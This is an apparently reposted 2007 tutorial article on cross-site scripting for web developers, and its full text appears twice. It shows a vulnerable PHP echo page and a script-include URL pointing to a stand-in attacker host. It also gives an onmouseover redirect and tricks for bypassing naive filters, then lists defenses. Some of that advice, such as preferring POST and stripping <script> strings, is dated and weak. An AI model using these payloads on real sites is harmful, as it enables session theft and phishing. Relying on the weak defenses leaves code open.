|
|
Understanding cross-site scripting attacks
Posted On July 22, 2007 by Sneha Latha filed under Internet
This article provides useful information with regard to protecting web applications. Malicious users can gain illegal access to important data present on the web applications’ servers through gullible applications. The author even demonstrates a couple of methods that fiendish users resort to for gaining unlawful entry
— Hardik Shah
Introduction
There are many techniques that an intruder can use to compromise web applications. Cross-site scripting (XSS or CSS) is one such method. As such, an intruder can easily use some social engineering trick to PHISH data important to a user. It can also invoke an automated script to perform some operations.
In this article, I will demonstrate how such attacks are performed and the precautions one should take to ensure that you do not lose valuable information.
Basics
There are many web applications that are designed to permit the input of html tags for displaying html-formatted data. These tags can be used by malicious users to attack other users by inserting scripts or malicious applets, etc. This is called cross-site scripting.
Essentially, such attacks are a result of poor input validations. CSS uses a combination of html and scripting languages. With the proper combination of html and JavaScript, an intruder can misguide the client and perform various attacks from DOS (by opening an enormous amount of window on the client side). Or by embedding malicious FORM tags at the right place, a malicious user may be able to trick users into revealing sensitive information by modifying the behavior of an existing form or by embedding scripts. Though this is by no means a complete list of problems, these should be enough to convince you that the problem is a serious one.
How is it performed?
Suppose we are using an application that takes some data from the user, say username and password. This data is then displayed. Now if this data is not validated properly, then it can lead to some really unpleasant surprises, as we shall see next. Consider the following code in PHP, which takes some data and then displays it:
**code listing for test_submit.php**
<?
$Name=$_POST['name'];
echo "<html>
<body>";
echo $Name;
echo" </body>
</html>";
?>
It is clear that the data is posted from a form. Assume that the previous form contains a textbox called ‘name’. So, it will have a code somewhat similar to the one in code 1:
Code 1
**code listing for test.php**
<html>
<head>
<title>
xss test page
</title>
</head>
<body>
<form name="form1" action="test_sub.php" method="post">
Name:<input type="text" name="name">
<input type="submit" value="submit">
</body>
</html>
When a user, presses the submit button, data in the textbox is passed into another form test_submit.php. From the coding it is clear that the posted data is stored in a variable called ‘name’.
So it is clear that if a user posts a simple value, then it will simply be displayed on the screen. Now let us assume that a user enters the following in the name field:
<script language=javascript>alert(document.name);
</script>
What happens? He will get a msgbox as shown in figure 1.
From the picture it should be clear now that if the entered data is not validated properly, then malicious users can execute their own html or script codes. This can lead to a potentially dangerous situation, especially if your application is storing critical information and if you have something from which an attacker can benefit. With a combination of html and JavaScript, an attacker can misguide users and spoof their real identity.
Miscellaneous techniques for using XSS
There are various ways by which an attacker can insert malicious code into your web applications. Some of them have been listed below:
1. Inline Scripting: In this kind of attacks, data is passed to some variables as shown below. Now if there is an XSS vulnerability presented in the site, then on clicking on the following URL the BadScirpt on the attacker’s server gets executed.
http://www.goodhost.com/search.php?val= <SCRIPT src='http://badhost.org/BadScirpt.js'> </SCRIPT>
2. Forced Error Responses: This insertion usually occurs due to poor error handling by the web server or application component. The application fails to find the requested page and reports an error, which unfortunately includes the unprocessed script data.
http://goodhost.com/<script>code</script>
3. Non-Script Events: As the client cursor moves over the bold text, an intrinsic event occurs and the JavaScript code is executed.
<b OnMouseOver="self.location.href='http://badhost.org/'">bolded text</b>
More advanced techniques
There are several applications that filter out data to avoid XSS attacks. However, some of them are general validations and a malicious can easily bypass them using a little amount of brain, as shown below:
1. Replacing html tags: This is a general technique used by programmers to protect from XSS attacks. Generally, a programmer replaces tags like < or > and others with < and > or other such alternatives. However, this method can provide protection from a novice. If the malicious user is smart enough, then he can get around this obstacle.
Generally, the following statement is used to replace characters:
document.write(cleanSearchString('<>'));
This can be easily bypassed if a user enters “\x3c” and “\x3e”, which are an alternative way to represent < and > characters.
2. Code commenting: Sometimes programmers used a dangerous way of simply commenting out script characters like < or any other. So when a user enters such characters, then these characters are simply placed in-between comment tags so that it cannot be executed at runtime. However, a comment can at times be used to bypass the XSS protection. Consider the following example.
<COMMENT>
<!--
code (NOT PARSED BY FILTER)
//-->
</COMMENT>
Now you all know how to bypass this kind of code J. We can simply enter a comment tag to bypass it. As shown below:
<COMMENT>
<!—
- -->
</ COMMENT>
Mailicious_Code_Here
</COMMENT>
This kind of protection can be easily bypassed using simple techniques.
So what can an attacker? How will it affect my web application?
This is the question a web developer generally asks. It is necessary for any developer to secure his/her application from such attacks, else it may cause serious damage to both you and your client. An attacker can perform any of the following operations if such attacks are permitted:
· He can redirect the posted data to his own server rather then where you intended to submit it;
· He can misguide your customer to a fake form created and hosted on his server and gather important information such as credit card number, login, password and other credentials;
· An attacker can include automated script to perform many operations like getting data, storing it into databases, etc.; and
· An attacker can use internal resources of the server by referencing them from your web applications.
This is just a few in a long list. There are many other things that can be done and valuable information can be obtained from your customer.
How to protect from such attacks?
A straightforward solution to this problem is disabling the scripting language!!! However, due to many reasons it is not possible to use this solution. There are other ways by which such kind of attacks can be prevented. These include:
1. Always properly validate the data: To secure your web applications from such attacks it is necessary to check the user data for any unnecessary characters or input strings. Please make sure that you check the POST data, URL strings, Cookies, etc. and remove any unwanted character or string like <script>, etc. from it. This is the general way from where a malicious user tries to compromise your web application;
2. Limit Input Lengths: This is another way of securing your web applications from malicious inputs. Always make sure that you restrict the length of the variables you want to use in your applications and check them properly for any violations;
3. Use HTTP POST Method rather then Using GET: GET makes your web application more vulnerable to such kind of attacks as someone can easily play with the input. If possible, go in for post method rather than using GET method;
4. Verify cookie data: Web applications use cookies for managing the state of communication. As it is stored on the client side, it is necessary to check the cookie data before you use it; and
5. Filter Output: Always filter out the output content you are going to display. It will reduce the chance of XSS attacks. Try to use proper encoding for it.
The author is available at: Hardik_nt@yahoo.com.
— Hardik Shah
Introduction
There are many techniques that an intruder can use to compromise web applications. Cross-site scripting (XSS or CSS) is one such method. As such, an intruder can easily use some social engineering trick to PHISH data important to a user. It can also invoke an automated script to perform some operations.
In this article, I will demonstrate how such attacks are performed and the precautions one should take to ensure that you do not lose valuable information.
Basics
There are many web applications that are designed to permit the input of html tags for displaying html-formatted data. These tags can be used by malicious users to attack other users by inserting scripts or malicious applets, etc. This is called cross-site scripting.
Essentially, such attacks are a result of poor input validations. CSS uses a combination of html and scripting languages. With the proper combination of html and JavaScript, an intruder can misguide the client and perform various attacks from DOS (by opening an enormous amount of window on the client side). Or by embedding malicious FORM tags at the right place, a malicious user may be able to trick users into revealing sensitive information by modifying the behavior of an existing form or by embedding scripts. Though this is by no means a complete list of problems, these should be enough to convince you that the problem is a serious one.
How is it performed?
Suppose we are using an application that takes some data from the user, say username and password. This data is then displayed. Now if this data is not validated properly, then it can lead to some really unpleasant surprises, as we shall see next. Consider the following code in PHP, which takes some data and then displays it:
**code listing for test_submit.php**
<?
$Name=$_POST['name'];
echo "<html>
<body>";
echo $Name;
echo" </body>
</html>";
?>
It is clear that the data is posted from a form. Assume that the previous form contains a textbox called ‘name’. So, it will have a code somewhat similar to the one in code 1:
Code 1
**code listing for test.php**
<html>
<head>
<title>
xss test page
</title>
</head>
<body>
<form name="form1" action="test_sub.php" method="post">
Name:<input type="text" name="name">
<input type="submit" value="submit">
</body>
</html>
When a user, presses the submit button, data in the textbox is passed into another form test_submit.php. From the coding it is clear that the posted data is stored in a variable called ‘name’.
So it is clear that if a user posts a simple value, then it will simply be displayed on the screen. Now let us assume that a user enters the following in the name field:
<script language=javascript>alert(document.name);
</script>
What happens? He will get a msgbox as shown in figure 1.
From the picture it should be clear now that if the entered data is not validated properly, then malicious users can execute their own html or script codes. This can lead to a potentially dangerous situation, especially if your application is storing critical information and if you have something from which an attacker can benefit. With a combination of html and JavaScript, an attacker can misguide users and spoof their real identity.
Miscellaneous techniques for using XSS
There are various ways by which an attacker can insert malicious code into your web applications. Some of them have been listed below:
1. Inline Scripting: In this kind of attacks, data is passed to some variables as shown below. Now if there is an XSS vulnerability presented in the site, then on clicking on the following URL the BadScirpt on the attacker’s server gets executed.
http://www.goodhost.com/search.php?val= <SCRIPT src='http://badhost.org/BadScirpt.js'> </SCRIPT>
2. Forced Error Responses: This insertion usually occurs due to poor error handling by the web server or application component. The application fails to find the requested page and reports an error, which unfortunately includes the unprocessed script data.
http://goodhost.com/<script>code</script>
3. Non-Script Events: As the client cursor moves over the bold text, an intrinsic event occurs and the JavaScript code is executed.
<b OnMouseOver="self.location.href='http://badhost.org/'">bolded text</b>
More advanced techniques
There are several applications that filter out data to avoid XSS attacks. However, some of them are general validations and a malicious can easily bypass them using a little amount of brain, as shown below:
1. Replacing html tags: This is a general technique used by programmers to protect from XSS attacks. Generally, a programmer replaces tags like < or > and others with < and > or other such alternatives. However, this method can provide protection from a novice. If the malicious user is smart enough, then he can get around this obstacle.
Generally, the following statement is used to replace characters:
document.write(cleanSearchString('<>'));
This can be easily bypassed if a user enters “\x3c” and “\x3e”, which are an alternative way to represent < and > characters.
2. Code commenting: Sometimes programmers used a dangerous way of simply commenting out script characters like < or any other. So when a user enters such characters, then these characters are simply placed in-between comment tags so that it cannot be executed at runtime. However, a comment can at times be used to bypass the XSS protection. Consider the following example.
<COMMENT>
<!--
code (NOT PARSED BY FILTER)
//-->
</COMMENT>
Now you all know how to bypass this kind of code J. We can simply enter a comment tag to bypass it. As shown below:
<COMMENT>
<!—
- -->
</ COMMENT>
Mailicious_Code_Here
</COMMENT>
This kind of protection can be easily bypassed using simple techniques.
So what can an attacker? How will it affect my web application?
This is the question a web developer generally asks. It is necessary for any developer to secure his/her application from such attacks, else it may cause serious damage to both you and your client. An attacker can perform any of the following operations if such attacks are permitted:
· He can redirect the posted data to his own server rather then where you intended to submit it;
· He can misguide your customer to a fake form created and hosted on his server and gather important information such as credit card number, login, password and other credentials;
· An attacker can include automated script to perform many operations like getting data, storing it into databases, etc.; and
· An attacker can use internal resources of the server by referencing them from your web applications.
This is just a few in a long list. There are many other things that can be done and valuable information can be obtained from your customer.
How to protect from such attacks?
A straightforward solution to this problem is disabling the scripting language!!! However, due to many reasons it is not possible to use this solution. There are other ways by which such kind of attacks can be prevented. These include:
1. Always properly validate the data: To secure your web applications from such attacks it is necessary to check the user data for any unnecessary characters or input strings. Please make sure that you check the POST data, URL strings, Cookies, etc. and remove any unwanted character or string like <script>, etc. from it. This is the general way from where a malicious user tries to compromise your web application;
2. Limit Input Lengths: This is another way of securing your web applications from malicious inputs. Always make sure that you restrict the length of the variables you want to use in your applications and check them properly for any violations;
3. Use HTTP POST Method rather then Using GET: GET makes your web application more vulnerable to such kind of attacks as someone can easily play with the input. If possible, go in for post method rather than using GET method;
4. Verify cookie data: Web applications use cookies for managing the state of communication. As it is stored on the client side, it is necessary to check the cookie data before you use it; and
5. Filter Output: Always filter out the output content you are going to display. It will reduce the chance of XSS attacks. Try to use proper encoding for it.
The author is available at: Hardik_nt@yahoo.com.